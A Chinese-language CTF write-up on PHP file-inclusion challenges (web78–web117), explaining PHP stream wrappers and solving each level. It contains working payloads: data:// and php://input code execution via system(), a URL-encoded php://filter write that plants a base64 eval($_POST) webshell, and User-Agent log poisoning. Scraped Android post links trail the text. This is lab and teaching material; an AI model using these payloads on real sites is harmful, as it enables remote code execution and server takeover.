ctf文件包含

⽂件包含,通过PHP函数引⼊⽂件时,传⼊的⽂件名没有经过合理的验证,从⽽操作 了预想之外的⽂件,就可能导致意外的⽂件泄漏甚⾄恶意代码注⼊。

产⽣的条件: 常⻅的包含,在之前做命令执⾏的时候也已经⽤过了 include() require() include_once() require_once() 此外,常⽤的还有之前在web37写的伪协议,这⾥再复制过来

72 总: file:// 协议 php:// 协议 zip:// bzip2:// zlib:// 协议 data:// 协议 http:// 协议 https://协议 phar:// 协议 分: file:// 协议: 条件 allow_url_fopen:off/on allow_url_include :off/on 作⽤:⽤于访问本地⽂件系统。在include()/require()等参数可控的情况下,如果导⼊⾮ php⽂件也会被解析为php ⽤法:1.file://⽂件的绝对路径和⽂件名 2.⽂件的相对路径和⽂件名 3.http://⽹络路径和⽂件名 php:// 协议:条件 allow_url_include :仅php://input php://stdin php://memor y php://temp 需要on allow_url_fopen:off/on 作⽤:php:// 访问各个输⼊/输出流(I/O streams),在CTF中经常使⽤的是php://fi lter和php://input,php://filter⽤于读取源码,php://input⽤于执⾏php代码 php://filter参数详解:resource=(必选,指定了你要筛选过滤的数据流) read =(可选) write=(可选) 对read和write,可选过滤器有string.rot13、string.toupper、string.tolower、 string.strip_tags、convert.base64-encode & convert.base64-decode

⽤法举例:php://filter/read=convert.base64-encode/resource=flag.p hp zip:// bzip2:// zlib:// 协议: 条件:allow_url_fopen:off/on allow_url_include :off/on 作⽤:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩⽂件中的⼦⽂ 件,更重要的是不需要指定后缀名 ⽤法:zip://压缩⽂件绝对路径%23压缩⽂件内的⼦⽂件名 compress.bzip2://file.bz2 compress.zlib://file.gz 其中phar://和zip://类似 data:// 协议: 条件:allow_url_fopen:on allow_url_include :on 作⽤:可以使⽤data://数据流封装器,以传递相应格式的数据。通常可以⽤来执⾏PHP 代码。 ⽤法:data://text/plain, data://text/plain;base64, 举例:data://text/plain, data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

web78

利用php伪协议的data协议和input协议都能解。

传参 file=data://text/plain,<?php system("ls");?>,查看目录,然后传参 file=data://text/plain,<?php system("tac flag.php");?>,拿到flag。

或者传参 file=php://input 同时内容为 ?php system("ls");?>,查看目录

不知道为什么cat用不了,只能yongtac

web79

和上一关差不多过滤了php,使用data和php短标签

web80

过滤了data和php,data不能⼤⼩写绕过,使用日志文件包含

然后将一句话写入ua头

web81

多过滤了一个:号,远程文件包含和大小写绕过不行了,只能用日志包含

还是和上一关一样,用ua头

web87

将如果file出现phpdata:.就会替换成???,

urldecode对file进行解码,最后面加上$content

file_put_contents 函数创建或修改由 file 变量指定的文件,并写入固定的 PHP 代码 "\" 加上 content 变量的内容。

看到这里直接试试通过编码写入东西

die函数需要绕过,避免程序终止。

使用base64绕过

因为base64解密为4字节为一组,并且base64编码中只包含64个可打印字符。其他的字符都将被忽略掉,故 <?php die()> 会变成 phpdie,因此需在加两个字节变成8个字节

使用php伪协议将base64的一句话写入文件,然后连接或者命令执行

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%61%25%36%39%25%37%35%25%37%61%25%36%38%25%36%35%25%36%65%25%32%65%25%37%30%25%36%38%25%37%30

aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

jiuzhen.php

web88

file包含禁止的符号,就会执行die解释

include 函数会将指定文件的内容复制到当前位置,并且执行该文件中的代码。

这里没有过滤data协议,也没有过滤分号,可以使用data先传入一句话

data://text/plain; base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg

一句话要用base64加密,后面的==可以删除,没有影响,只是一个标志

web116

访问之后发现是一个视频,用f12看了看也,没什么有用的东西,就将视频下载下来了,用随波逐流看了一下发现有一个隐藏文件

第一次用的Binwalk文件提取 第二次用的Foremost文件提取

Binwalk是Linux下用来分析和分离文件的工具,可以快速分辨文件是否由多个文件合并而成,并将文件进行分离。如果分离成功会在目标文件的目录。有压缩包自动解压

foremost,将目标文件复制到 kali 中,成功执行后,会在目标文件的文件目录下生成我们设置的目录,目录中会按文件类型分离出文件。有压缩包不会自动解压

分离之后有一个图片和一个MP3(打不开)

从代码里也没什么发现,过滤了一些东西,直接进行包含试试,发现通过f12不行,用了bp

data://协议 通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行

php://input协议 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当表单 enctype=multipart/form-data 时,php://input将会无效

看了一下只能通过直接包含,写入不了一句话了

web117

禁用了input和data

和上面的web87有点像

通过?file=php://filter/写入文件

查看发现不行,进行了换位,通过反向操作构造

复制代码
?<hp pvela$(G_TE'['a)] ;>?
相关推荐
千里马学框架4 天前
一起学 Android 14:ShellTransition 屏幕旋转过程深度剖析
android·智能手机·性能优化·framework·性能·屏幕旋转·rotation
美狐美颜SDK开放平台4 天前
开发直播APP时如何接入视频美颜SDK?开发流程与注意事项
android·人工智能·计算机视觉·音视频·直播美颜sdk
AFinalStone4 天前
Android7 SystemUI源码解析(七)Keyguard锁屏模块深度解析
android·systemui
致远ccc4 天前
Google Play 上架前如何测试 App?多国家 Android 环境测试
android·app测试·googleplay·多国家应用测试
ttyyttemo4 天前
Kotlin 协程中的 Job 结构化并发与取消
android
sun0077004 天前
tbox 4g/5g切换,导致wan ip 改变,导致车机旧网络不可用。需要重启车机才行
android
其实防守也摸鱼4 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
AFinalStone4 天前
Android7 SystemUI 源码解析(四)NavigationBar 导航栏与 SystemBars
android·systemui
JMchen4 天前
属性动画原理与高级动画实现
android·kotlin·canvas
AFinalStone4 天前
Android7 SystemUI 源码解析(二)启动流程深度解析
android·systemui